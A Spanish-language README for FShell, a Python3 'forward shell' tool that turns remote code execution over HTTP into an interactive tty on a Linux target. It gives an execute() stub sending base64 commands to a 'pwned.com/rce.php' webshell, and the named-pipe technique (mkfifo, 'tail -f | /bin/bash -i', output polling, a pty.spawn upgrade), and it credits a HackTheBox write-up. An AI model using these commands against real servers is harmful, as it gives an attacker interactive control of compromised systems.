
Mi implementación en python3 de un Forward Shell
FShell es mi implementación de un Forward Shell. Está diseñado para obtener una tty interactiva usando ejecución remota de código a través de un protocolo sin estado (p. ej. HTTP).
Sin embargo, también tiene desventajas
La frecuencia de las peticiones puede cambiarse modificando la variable BEACONING_DELAY.
Python3 y librerías:
Solo se soporta Linux por ahora y se requieren comandos/herramientas básicos en el sistema remoto:
Modifica la variable WRITABLE_FOLDER si /tmp no está disponible para escritura o si tienes algo mejor (prefiere /dev/shm)
Debes redefinir la función execute para realizar tu ejecución remota de código:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Comando shell crudo a ejecutar en el sistema remoto
:timetout OBLIGATORIO: Se usa para matar el bucle de ejecución bloqueante (usado en la creación del named pipe).
Si no puedes, pon la creación del named pipe en un hilo separado
:verbose Imprime el comando completo ejecutado en el sistema remoto (modo Debug)
"""
# Pon tu código de RCE aquí
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # Puedes aplicar formato si la salida no es solo la salida del comando

Los conceptos son bastante simples.
Primero necesitas crear un named pipe en el sistema remoto.
Se usará para enviar comandos a la shell
mkfifo /tmp/input.
Luego, crea un bucle de bash que lea el named pipe constantemente y lo envíe a un proceso bash interactivo que envíe stdin y stderr a un archivo de salida.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[Lectura del named pipe] -> [Ejecutar el contenido del named pipe] -> [Enviar stdin/stderr al archivo de salida] -> [Volver a leer el named pipe debido a la opción '-f' de tail]
La siguiente parte es iniciar un hilo de python que ejecute cat /tmp/output periódicamente para obtener la salida de la shell.
Si el hilo encuentra datos, limpiará el contenido del archivo de salida usando echo '' > /tmp/output
Consejo: Para evitar el registro de errores por un archivo inexistente, el script ejecuta el comando 'id' antes de iniciar el hilo 'GetOutput' para crear el archivo de salida.
Uno de los últimos pasos es obtener la entrada del usuario desde nuestro script de python y enviarla al named pipeecho USERCMD > /tmp/input
Y el truco final para recuperar una tty remota interactiva es el comando 'upgrade_shell'.
Este comando ejecuta un python -c 'import pty;pty.spawn("/bin/bash")' (y algunos exports y aliases) para generar una tty real para el proceso actual (usado en el bucle del named pipe)
Gracias a @ippsec, no sabía que algo así era posible antes de ver estos videos Stratosphere HTB Write Up !
¡Espero que lo disfrutes!